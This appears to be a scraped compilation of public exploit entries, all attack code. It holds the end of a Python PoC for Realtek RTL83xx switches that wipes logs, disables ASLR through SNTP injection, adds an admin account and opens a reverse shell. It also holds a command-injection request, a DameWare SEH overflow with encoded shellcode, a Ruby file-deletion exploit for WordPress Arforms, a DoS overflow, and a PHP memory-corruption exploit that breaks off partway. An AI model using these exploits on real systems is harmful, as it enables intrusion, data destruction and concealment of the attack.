clear_log.status("Trying to disable") URI = self.target['log']['disable_uri'] query_args = self.target['log']['disable_query'] DEBUG("SEND",(URI, query_args)) response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded response = response.read() DEBUG("RECV",response) URI = self.target['log']['status'] DEBUG("SEND",URI) response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,False) # not encoded response = response.read() if not self.target['log']['json']: response = re.split("[<>\n]",response) DEBUG("RECV",response) for check in range(0,len(response)): if response[check] == 'window.location.replace("/cgi-bin/dispatcher.cgi?cmd=5120");': clear_log.status("Disabled") break else: # json result = json.loads(response) DEBUG("RECV",result) if result['data']['logState'] == False: clear_log.status("Disabled") else: clear_log.failure("Logging still enabled") return False clear_log.status("Trying to clean") URI = self.target['log']['clean_logfile_uri'] query_args = self.target['log']['clean_logfile_query'] DEBUG("SEND",(URI, query_args)) response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded response = response.read() if not self.target['log']['json']: response = re.split("[<>'\n]",response) DEBUG("RECV",response) for check in range(0,len(response)): if response[check] == '/cgi-bin/dispatcher.cgi?cmd=5129' or response[check] == '/cgi-bin/dispatcher.cgi?cmd=4361': clear_log.status("Disabled") URI = self.target['log']['clean_logmem_uri'] query_args = self.target['log']['clean_logmem_query'] DEBUG("SEND",(URI, query_args)) response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded response = response.read() response = re.split("[<>'\n]",response) DEBUG("RECV",response) for check in range(0,len(response)): if response[check] == '/cgi-bin/dispatcher.cgi?cmd=5129' or response[check] == '/cgi-bin/dispatcher.cgi?cmd=4361': clear_log.success("Success") return True break clear_log.failure("Failed") return False else: # json result = json.loads(response) DEBUG("RECV",result) if result['status'] == 'ok' and result['msgType'] == 'save_success': URI = self.target['log']['clean_logmem_uri'] query_args = self.target['log']['clean_logmem_query'] DEBUG("SEND",(URI, query_args)) response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded response = response.read() result = json.loads(response) DEBUG("RECV",result) if result['status'] == 'ok' and result['msgType'] == 'save_success': clear_log.success("Success") return True else: clear_log.failure("Failed") return False else: clear_log.failure("Failed") return False except Exception as e: log.info("error {}".format(e)) return False clear_log.failure("LOG Failed") return False # # Access: Authenticated # def SNTP(self, target): self.target = target SNTP = log.progress("SNTP") if not self.target['exploit']['sntp']['vulnerable']: SNTP.failure("Not listed as vulnerable") return False SNTP.status("Trying...") if self.check_XSID(self.target): self.headers['X-CSRF-XSID'] = self.Cisco_XSID(self.target) SNTP.status("Enable SNTP") URI = self.target['exploit']['sntp']['enable_uri'] query_args = self.target['exploit']['sntp']['enable_query'] DEBUG("SEND",(URI, query_args)) response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded response = response.read() if not self.target['exploit']['sntp']['json']: response = re.split("[<>\n]",response) DEBUG("RECV",response) for check in range(0,len(response)): if response[check] == 'SNTP': if response[check+5] == 'Enabled' or response[check+5] == 'Enable' or response[check+7] == 'Enabled' or response[check+7] == 'Enable': SNTP.status("SNTP Enabled") elif response[check+5] == 'Disabled' or response[check+5] == 'Disable' or response[check+7] == 'Disabled' or response[check+7] == 'Disable': SNTP.failure("SNTP Disabled") return False else: SNTP.failure("Enable SNTP Failed") return False else: # json response = self.clean_json(response) result = json.loads(response) DEBUG("RECV",result) if result['status'] == 'ok' and result['msgType'] == 'save_success': URI = self.target['exploit']['sntp']['status_uri'] DEBUG("SEND",URI) response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,False) # not encoded response = response.read() response = self.clean_json(response) result = json.loads(response) DEBUG("RECV",result) for status in result['data']: if status == 'sntp' and result['data']['sntp'] == True: SNTP.status("SNTP Enabled") break elif status == 'sntp' and result['data']['sntp'] == False: SNTP.failure("SNTP Disabled") return False elif status == 'sntpStatus' and result['data']['sntpStatus'] == True: SNTP.status("SNTP Enabled") break elif status == 'sntpStatus' and result['data']['sntpStatus'] == False: SNTP.failure("SNTP Disabled") return False else: SNTP.failure("Enable SNTP Failed") return False URI = self.target['exploit']['sntp']['inject_uri'] query_args = self.target['exploit']['sntp']['inject_query'] DEBUG("SEND",(URI, query_args)) response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded response = response.read() if not self.target['exploit']['sntp']['json']: response = response.split('"') DEBUG("RECV",response) for check in range(0,len(response)): if response[check] == '/cgi-bin/dispatcher.cgi?cmd=549': query_args = self.target['exploit']['sntp']['check_query'] DEBUG("SEND",(URI, query_args)) response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded response = response.read() response = response.split('"') DEBUG("RECV",response) for check in range(0,len(response)): if response[check] == '/cgi-bin/dispatcher.cgi?cmd=549': URI = self.target['exploit']['sntp']['verify_uri'] DEBUG("SEND",URI) response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,False) # not encoded response = response.read().split() DEBUG("RECV",response) if response[0] == '0': SNTP.status("ASLR disabled") break else: SNTP.failure("Check Failed") return False break else: # json response = self.clean_json(response) result = json.loads(response) DEBUG("RECV",result) if result['status'] == 'ok' and result['msgType'] == 'save_success': query_args = self.target['exploit']['sntp']['check_query'] DEBUG("SEND",(URI, query_args)) response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded response = response.read() response = self.clean_json(response) result = json.loads(response) DEBUG("RECV",result) if result['status'] == 'ok' and result['msgType'] == 'save_success': URI = self.target['exploit']['sntp']['verify_uri'] DEBUG("SEND",URI) response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,False) # not encoded response = response.read().split() DEBUG("RECV",response) if response[0] == '0': SNTP.status("ASLR disabled") else: SNTP.failure("Check Failed") return False else: SNTP.failure("RCE #2 Failed") return False else: SNTP.failure("RCE #1 Failed") return False SNTP.status("Removing RCE") URI = self.target['exploit']['sntp']['delete_uri'] query_args = self.target['exploit']['sntp']['delete_query'] DEBUG("SEND",(URI, query_args)) response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded response = response.read() if not self.target['exploit']['sntp']['json']: response = response.split('"') DEBUG("RECV",response) for check in range(0,len(response)): if response[check] == '/cgi-bin/dispatcher.cgi?cmd=549': SNTP.status("RCE Removed") break else: # json response = self.clean_json(response) result = json.loads(response) DEBUG("RECV",result) if result['status'] == 'ok' and result['msgType'] == 'save_success': SNTP.status("RCE Removed") else: SNTP.failure("RCE Remove Failed") return False URI = self.target['exploit']['sntp']['disable_uri'] query_args = self.target['exploit']['sntp']['disable_query'] DEBUG("SEND",(URI, query_args)) response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded response = response.read() if not self.target['exploit']['sntp']['json']: response = re.split("[<>\n]",response) DEBUG("RECV",response) for check in range(0,len(response)): if response[check] == 'SNTP': if response[check+5] == 'Enabled' or response[check+5] == 'Enable' or response[check+7] == 'Enabled' or response[check+7] == 'Enable': SNTP.failure("SNTP Enabled") elif response[check+5] == 'Disabled' or response[check+5] == 'Disable' or response[check+7] == 'Disabled' or response[check+7] == 'Disable': SNTP.status("SNTP Disabled") else: SNTP.failure("Disable SNTP Failed") return False else: # json response = self.clean_json(response) result = json.loads(response) DEBUG("RECV",result) if result['status'] == 'ok' and result['msgType'] == 'save_success': URI = self.target['exploit']['sntp']['status_uri'] DEBUG("SEND",URI) response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,False) # not encoded response = response.read() response = self.clean_json(response) # MCW TEST result = json.loads(response) DEBUG("RECV",result) for status in result['data']: if status == 'sntp' and result['data']['sntp'] == True: SNTP.failure("SNTP Enabled") return False elif status == 'sntp' and result['data']['sntp'] == False: SNTP.status("SNTP Disabled") break elif status == 'sntpStatus' and result['data']['sntpStatus'] == True: SNTP.failure("SNTP Enabled") return False elif status == 'sntpStatus' and result['data']['sntpStatus'] == False: SNTP.status("SNTP Disabled") break else: SNTP.failure("Disable SNTP Failed") return False SNTP.success("ASLR: Success") return True if __name__ == '__main__': # # Help, info and pre-defined values # INFO = 'Realtek Managed Switch Controller RTL83xx PoC (2019 bashis)\n' HTTP = "http" HTTPS = "https" proto = HTTP verbose = False raw_request = True rhost = '192.168.57.20' # Default Remote HOST rport = '80' # Default Remote PORT lhost = '192.168.57.1' # Default Local HOST lport = '1337' # Default Local PORT creds = 'pwn:pwn' # creds = 'user:pass' etag = '' # # Try to parse all arguments # try: arg_parser = argparse.ArgumentParser( prog=sys.argv[0], description=('[*] '+ INFO +' [*]')) arg_parser.add_argument('--rhost', required=False, help='Remote Target Address (IP/FQDN) [Default: '+ rhost +']') arg_parser.add_argument('--rport', required=False, help='Remote Target HTTP/HTTPS Port [Default: '+ rport +']') arg_parser.add_argument('--lhost', required=False, help='Connect Back Address (IP/FQDN) [Default: '+ lhost +']') arg_parser.add_argument('--lport', required=False, help='Connect Back Port [Default: '+ lport + ']') if creds: arg_parser.add_argument('--auth', required=False, help='Basic Authentication [Default: '+ creds + ']') arg_parser.add_argument('--https', required=False, default=False, action='store_true', help='Use HTTPS for remote connection [Default: HTTP]') arg_parser.add_argument('--hydra', required=False, default=False, action='store_true', help='Boa/Hydra Web Server - reverse shell') arg_parser.add_argument('--force', required=False, default=False, action='store_true', help='Ignore warnings for exploits marked not safe') arg_parser.add_argument('--etag', required=False, help='Select target manually with their ETag') arg_parser.add_argument('--shell', required=False, default=False, action='store_true', help='Unauthenticated - reverse shell - CGIs') arg_parser.add_argument('--debug', required=False, default=False, action='store_true', help='Debug SEND/RECV data and line numbers in code') arg_parser.add_argument('--verify', required=False, default=False, action='store_true', help='Verify unauthenticated vulnerabilities - CGIs') arg_parser.add_argument('--report', required=False, default=False, action='store_true', help='Generate report based on dictionary') arg_parser.add_argument('--adduser', required=False, default=False, action='store_true', help='Add "'+ creds + '" with privilege 15') arg_parser.add_argument('--deluser', required=False, default=False, action='store_true', help='Delete "'+ creds + '" credentials') args = arg_parser.parse_args() except Exception as e: log.info(INFO) log.info("Error: {}".format(e)) sys.exit(1) # We want at least one argument, so print out help if len(sys.argv) == 1: arg_parser.parse_args(['-h']) print "" log.info(INFO) if args.report: Vendor("report").dict() sys.exit(0) if args.debug: debug = True if args.force: force = True # # Check validity, update if needed, of provided options # if args.https: proto = HTTPS if not args.rport: rport = '443' if creds and args.auth: creds = args.auth if args.rport: rport = args.rport if args.etag: etag = args.etag if args.rhost: rhost = args.rhost if args.lport: lport = args.lport if args.lhost: lhost = args.lhost # Check if RPORT is valid if not Validate(verbose).Port(rport): log.failure("Invalid RPORT - Choose between 1 and 65535") sys.exit(1) # Check if LPORT is valid if not Validate(verbose).Port(lport): # log.failure("Invalid LPORT - Choose between 1 and 65535") sys.exit(1) # Let's break apart the hex code of LPORT into two bytes and check for badbyte 0x00 port_hex = hex(int(lport))[2:] port_hex = port_hex.zfill(len(port_hex) + len(port_hex) % 2) port_hex = ' '.join(port_hex[i: i+2] for i in range(0, len(port_hex), 2)) port_hex = port_hex.split() if len(port_hex) == 1: port_hex = ('00' + ' ' + ''.join(port_hex)).split() for c in port_hex: if c == '00': log.failure("Choosen port (dec: {}, hex: {}) contains 0x00 - aborting".format(lport,hex(int(lport)))) sys.exit(1) # Check if RHOST is valid IP or FQDN, get IP back rhost = Validate(verbose).Host(rhost) if not rhost: log.failure("Invalid RHOST") sys.exit(1) # Check if LHOST is valid IP or FQDN, get IP back lhost = Validate(verbose).Host(lhost) if not lhost: log.failure("Invalid LHOST") sys.exit(1) # # Validation done, start print out stuff to the user # if args.https: log.info("HTTPS / SSL Mode Selected") log.info("RHOST: {}".format(rhost)) log.info("RPORT: {}".format(rport)) log.info("LHOST: {}".format(lhost)) log.info("LPORT: {}".format(lport)) rhost = rhost + ':' + rport try: headers = { 'Host':rhost, 'User-Agent':'Chrome', 'Accept':'*/*', 'Content-Type':'application/x-www-form-urlencoded' } # # We can manually select target with the '--etag' # target = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).check_remote(etag) # # Whole code based on known 'target's ETag # if target: if args.verify: RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).verify_target(target,True) # check all listed elif args.hydra: if not target['exploit']['heack_hydra_shell']['safe'] and not args.force: log.failure("Boa/Hydra listed as not safe (most likely DoS), force with '--force'") log.failure("The best chance of success is with fresh heap and select target model manually") log.failure("use '--etag' for manual selection, '--etag help' for known targets") success = False else: success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).heack_hydra_shell(target) success = False elif args.adduser: if target['exploit']['stack_cgi_add_account']['vulnerable']: success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).stack_add_account(target) else: success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).add_user(target) elif args.deluser: if target['exploit']['stack_cgi_del_account']['vulnerable']: success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).stack_del_account(target) else: success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).login(target) if success: success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).del_user(target) if success: success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).logout(target) elif args.shell: success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).verify_target(target,False) # check only one # # shellcode on heap, no need to disable ASLR # if not target['exploit']['heack_cgi_shell']['stack']: success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).stack_cgi_log(target) # # shellcode on stack, we need to disable ASLR # elif target['exploit']['stack_cgi_diag']['vulnerable']: success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).stack_cgi_log(target) if success: success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).stack_cgi_diag(target) elif target['exploit']['stack_cgi_sntp']['vulnerable']: success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).stack_cgi_log(target) if success: success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).stack_cgi_sntp(target) # # or we take the long way # elif target['login']['vulnerable'] and not target['exploit']['stack_cgi_diag']['vulnerable'] or not target['exploit']['stack_cgi_sntp']['vulnerable']: if not args.auth: success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).add_user(target) if success: success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).login(target) if success: success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).disable_clean_log(target) if success: success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).SNTP(target) if success and not args.auth: success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).del_user(target) if success: success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).logout(target) else: log.failure("We have no way to reach shellcode...") success = False # # No meaning to try exploit if above failed # if success: RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).heack_shell(target) except Exception as e: log.info("Failed: ({})".format(e)) log.info("All done...") sys.exit(0)
  3. # Exploit Title: thesystem Command Injection # Author: Sadik Cetin # Discovery Date: 2019-09-28 # Vendor Homepage: [ https://github.com/kostasmitroglou/thesystem | https://github.com/kostasmitroglou/thesystem ] # Software Link: [ https://github.com/kostasmitroglou/thesystem | https://github.com/kostasmitroglou/thesystem ] # Tested Version: 1.0 # Tested on OS: Windows 10 # CVE: N/A # Type: Webapps # Description: # Simple Command injection after login bypass(login_required didn't used) POST /run_command/ HTTP/1.1 Host: 127.0.0.1:8000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------168279961491 Content-Length: 325 Connection: close Referer: [ http://127.0.0.1:8000/run_command/ | http://127.0.0.1:8000/run_command/ ] Cookie: csrftoken=Mss47G2ILybbQoFYXpVPlWNaUzGQ5yKoXGRPucrKIG4gz5X9TVEPQJtItbqN9SM6; _ga=GA1.1.567905900.1569231977; _gid=GA1.1.882048829.1569577719 Upgrade-Insecure-Requests: 1 -----------------------------168279961491 Content-Disposition: form-data; name="csrfmiddlewaretoken" 7rigJnIFAByKlmo6NBD7R8Ua66daVjdfiFH16T7HxJrP43GhJ7m7mVAIFIX7ZDfX -----------------------------168279961491 Content-Disposition: form-data; name="command" ping 127.0.0.1 -----------------------------168279961491-- HTTP/1.1 200 OK Date: Sat, 28 Sep 2019 09:42:26 GMT Server: WSGIServer/0.2 CPython/3.5.3 Content-Length: 429 Content-Type: text/html; charset=utf-8 X-Frame-Options: SAMEORIGIN Pinging 127.0.0.1 with 32 bytes of data: Reply from 127.0.0.1: bytes=32 time<1ms TTL=128 Reply from 127.0.0.1: bytes=32 time<1ms TTL=128 Reply from 127.0.0.1: bytes=32 time<1ms TTL=128 Reply from 127.0.0.1: bytes=32 time<1ms TTL=128 Ping statistics for 127.0.0.1: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 0ms, Maximum = 0ms, Average = 0ms When I try to run following command, all commands run: dir whoami
  4. #!/usr/bin/env python # Author: Xavi Beltran # Contact: [email protected] # Exploit Development: https://xavibel.com/2019/08/31/seh-based-local-buffer-overflow-dameware-remote-support-v-12-1-0-34/ # Date: 14/7/2019 # Description: # SEH based Buffer Overflow # DameWare Remote Support V. 12.1.0.34 # Tools >> Computer Comments >> Description # msf-pattern_offset -q "37694136" -l 5000 # [*] Exact match at offset 260 junk1 = "\x41" * 260 # Unicode compatible padding nseh = "\x61\x43" # 0x007a0021 : pop esi # pop edi # ret # startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READ} [DNTU.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v12.1.0.34 (C:\Program Files\SolarWinds\DameWare Remote Support\DNTU.exe) seh = "\x21\x7a" # Put shellcode memory address in EAX, push it to the stack and RETN # 20 bytes align = "" align += "\x43" * 10 # Padding align += "\x58" # POP EAX align += "\x73" # Venetian padding # 0012F590 83C0 50 ADD EAX,50 align += u"\uC083" + "\x50" # ADD EAX, 50 align += "\x73" # Venetian padding align += "\x50" # PUSH EAX align += "\x73" # Venetian padding align += u'\uC3C3' # RETN # 1348 junk2 = "\x43" * 18 # 7FFDD066 + 2 memory address contains the value FFFF0000 # This value is going to be placed in EBX # And it doesn't break the execution flow junk3 = "\x44" * 550 + u"\uD066" + u"\u7FFD" # u"\xF0FF" # msfvenom -p windows/exec CMD=calc -f raw > shellcode.raw # ./alpha2 eax --unicode --uppercase < shellcode.raw # 508 bytes shellcode = "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLYX4BM0M0KPQP4IZEP17PQTDKPPNPTK1BLLDK1BLTTKT2MXLOVWPJMV01KO6LOLS13LM2NLMPWQHOLMM1WWK2KBPR27TKPRLP4K0JOLTK0LN1D8K3OXKQJ1R1TKPYMPM1HS4KPILXYSOJQ9DKOD4KM1XVNQKO6LGQ8OLMM1WWP89PRUZVLCSMKHOKSMMT2UJD1HDKQHNDKQJ31VTKLL0K4K1HMLM1J3DKKTTKM1HP3YQ4O4ND1K1KQQR9PZ0QKOYPQOQOQJDKLRZKTM1MRJM1DMCUH2KPKPKPPPQXP1TKBOU7KOHUWKL07EFB0V38W6V5WMUMKOJ5OLM63LLJ3PKKIP2UKUWK17MCBRROQZM0B3KOZ51S1Q2LQSKPA" crash = junk1 + nseh + seh + align + junk2 + shellcode + junk3 print(crash)
  5. #!/usr/bin/env ruby # Exploit Title: WordPress Arforms - 3.7.1 # CVE ID: CVE-2019-16902 # Date: 2019-09-27 # Exploit Author: Ahmad Almorabea # Author Website: http://almorabea.net # Updated version of the exploit can be found always at : http://almorabea.net/cve-2019-16902.txt # Software Link: https://www.arformsplugin.com/documentation/changelog/ # Version: 3.7.1 #**************Start Notes************** # You can run the script by putting the script name and then the URL and the URL should have directory the Wordpress folders. # Example : exploit.rb www.test.com, and the site should have the Wordpress folders in it such www.test.com/wp-contnet. # Pay attention to the 3 numbers at the beginning maybe you need to change it in other types like in this script is 143. # But maybe in other forms maybe it's different so you have to change it accordingly. # This version of the software is applicable to path traversal attack so you can delete files if you knew the path such ../../ and so on # There is a request file with this Script make sure to put it in the same folder. #**************End Notes**************** require "net/http" require 'colorize' $host = ARGV[0] || "" $session_id = ARGV[1] || "3c0e9a7edfa6682cb891f1c3df8a33ad" def start_function () puts "It's a weird question to ask but let's start friendly I'm Arforms exploit, what's your name?".yellow name = STDIN.gets if $host == "" puts "What are you doing #{name} where is the URL so we can launch the attack, please pay more attention buddy".red exit end check_existence_arform_folder execute_deletion_attack puts "Done ... see ya " + name end def send_checks(files_names) j = 1 while j <= files_names.length-1 uri = URI.parse("http://#{$host}/wp-content/uploads/arforms/userfiles/"+files_names[j]) http = Net::HTTP.new(uri.host, uri.port) http.use_ssl = true if uri.scheme == 'https' # Enable HTTPS support if it's HTTPS request = Net::HTTP::Get.new(uri.request_uri) request["User-Agent"] = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:39.0) Gecko/20100101 Firefox/39.0" request["Connection"] = "keep-alive" request["Accept-Language"] = "en-US,en;q=0.5" request["Accept-Encoding"] = "gzip, deflate" request["Accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" begin response = http.request(request).code puts "The File " + files_names[j] + " has the response code of " + response rescue Exception => e puts "[!] Failed!" puts e end j = j+1 end end def check_existence_arform_folder () path_array = ["/wp-plugins/arforms","/wp-content/uploads/arforms/userfiles"] $i = 0 results = [] while $i <= path_array.length-1 uri = URI.parse("http://#{$host}/#{path_array[$i]}") #puts uri http = Net::HTTP.new(uri.host, uri.port) http.use_ssl = true if uri.scheme == 'https' # Enable HTTPS support if it's HTTPS request = Net::HTTP::Get.new(uri.request_uri) response = http.request(request) results[$i] = response.code #puts"response code is : " + response.code $i +=1 end puts "****************************************************" if results[0] == "200" || results[0] =="301" puts "The Plugin is Available on the following path : ".green + $host + path_array[0] else puts "We couldn't locate the Plugin in this path, you either change the path or we can't perform the attack, Simple Huh?".red exit end if (results[1] == "200" || results[1] == "301") puts "The User Files folder is Available on the following path : ".green + $host + path_array[1] else puts "We couldn't find the User Files folder, on the following path ".red + $host + path_array[1] end puts "****************************************************" end def execute_deletion_attack () puts "How many file you want to delete my man" amount = STDIN.gets.chomp.to_i if(amount == 0) puts "You can't use 0 or other strings this input for the amount of file you want to delete so it's an Integer".blue exit end file_names = [] file_names[0] = "143_772_1569713145702_temp3.txt" j = 1 while j <= amount.to_i puts "Name of the file number " + j.to_s file_names[j] = STDIN.gets file_names[j].strip! j = j+1 end uri = URI.parse("http://#{$host}") #puts uri http = Net::HTTP.new(uri.host, uri.port) http.use_ssl = true if uri.scheme == 'https' request = Net::HTTP::Get.new(uri.request_uri) response = http.request(request) global_cookie = response.response['set-cookie'] + "; PHPSESSID="+$session_id #Assign the session cookie $i = 0 while $i <= file_names.length-1 puts "Starting the Attack Journey .. ".green uri = URI.parse("http://#{$host}/wp-admin/admin-ajax.php") headers = { 'Referer' => 'From The Sky', 'User-Agent' => 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0', 'Content-Type' => 'multipart/form-data; boundary=---------------------------14195989911851978808724573615', 'Accept-Encoding' => 'gzip, deflate', 'Cookie' => global_cookie, 'X_FILENAME' => file_names[$i], 'X-FILENAME' => file_names[$i], 'Connection' => 'close' } http = Net::HTTP.new(uri.host, uri.port) http.use_ssl = true if uri.scheme == 'https' request = Net::HTTP::Post.new(uri.path, headers) request.body = File.read("post_file") response = http.request request $i = $i +1 end execute_delete_request file_names,global_cookie,amount.to_i puts "Finished.........." end def execute_delete_request (file_names,cookies,rounds ) $i = 0 while $i <= file_names.length-1 puts "Starting the Attack on file No #{$i.to_s} ".green uri = URI.parse("http://#{$host}/wp-admin/admin-ajax.php") headers = { 'Referer' => 'From The Sky', 'User-Agent' => 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0', 'Accept' => '*/*', 'Accept-Language' => 'en-US,en;q=0.5', 'X-Requested-With'=> 'XMLHttpRequest', 'Cookie' => cookies, 'Content-Type' => 'application/x-www-form-urlencoded; charset=UTF-8', 'Accept-Encoding' => 'gzip, deflate', 'Connection' => 'close' } http = Net::HTTP.new(uri.host, uri.port) http.use_ssl = true if uri.scheme == 'https' request = Net::HTTP::Post.new(uri.path,headers) request.body = "action=arf_delete_file&file_name="+file_names[$i]+"&form_id=143" response = http.request(request) if $i != 0 puts "File Name requested to delete is : " + file_names[$i] + " has the Response Code of " + response.code end $i = $i +1 end send_checks file_names end start_function()
  6. # Exploit Title: Ciftokic 2.4a - DoS Buffer Overflow # Date: September 30, 2019 # Exploit Author: @JosueEncinar # Software Link: http://launchpad.net/ubuntu/+source/kic/2.4a-1 # Version: 2.4a # Tested on: Ubuntu 18.04 ''' If we check the ciftokic.c file on line 52 we see the following code: char CIFFile[81], *Tmp;. In line 84 we have the problem with the following instruction: strcpy(CIFFile,argv[1]); If the first argument is 80 characters or less, nothing happens, but if we put from 81 onwards the program fails with a Buffer Overflow. ''' # To test the code use Python 3.6+ from os import system from sys import argv def print_usage(): print("Usage: python3 ciftokic_overflow.py <characters_numbers>") print(" |_No Buffer Overflow: python3 ciftokic_overflow.py 80") print(" |_Buffer Overflow: python3 ciftokic_overflow.py 81") if len(argv) == 1: print_usage() else: try: number = int(argv[1]) payload = "J"*number system(f"ciftokic {payload}") except: print_usage() """ Output Example: josue@josue:~/Escritorio$ python3 ciftokic_overflow.py 80 Error: can't read CIF input file JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ josue@josue:~/Escritorio$ python3 ciftokic_overflow.py 81 *** buffer overflow detected ***: ciftokic terminated Aborted (core dumped) """
  7. <?php $cmd = "id"; $n_alloc = 10; # increase this value if you get segfaults class MySplFixedArray extends SplFixedArray { public static $leak; } class Z implements JsonSerializable { public function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = chr($v & 0xff); $v >>= 8; } } public function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; } public function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } # unable to leak ro segments public function leak1($addr) { global $spl1; $this->write($this->abc, 8, $addr - 0x10); return strlen(get_class($spl1)); } # the real deal public function leak2($addr, $p = 0, $s = 8) { global $spl1, $fake_tbl_off; # fake reference zval $this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted $this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval $this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string) $leak = strlen($spl1::$leak); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; } public function parse_elf($base) { $e_type = $this->leak2($base, 0x10, 2); $e_phoff = $this->leak2($base, 0x20); $e_phentsize = $this->leak2($base, 0x36, 2); $e_phnum = $this->leak2($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = $this->leak2($header, 0, 4); $p_flags = $this->leak2($header, 4, 4); $p_vaddr = $this->leak2($header, 0x10); $p_memsz = $this->leak2($header, 0x28); if($p_type == 0x6474e552) { # PT_GNU_RELRO # handle pie $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } public function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = $this->leak2($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $text_size) { $deref = $this->leak2($leak); # 'constant' constant check if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = $this->leak2($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $text_size) { $deref = $this->leak2($leak); # 'bin2hex' constant check if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } public function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = $this->leak2($addr, 0, 7); if($leak == 0x10102464c457f) { # ELF header return $addr; } } } public function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = $this->leak2($addr); $f_name = $this->leak2($f_entry, 0, 6); if($f_name == 0x6d6574737973) { # system return $this->leak2($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } public function jsonSerialize() { global $y, $cmd, $spl1, $fake_tbl_off, 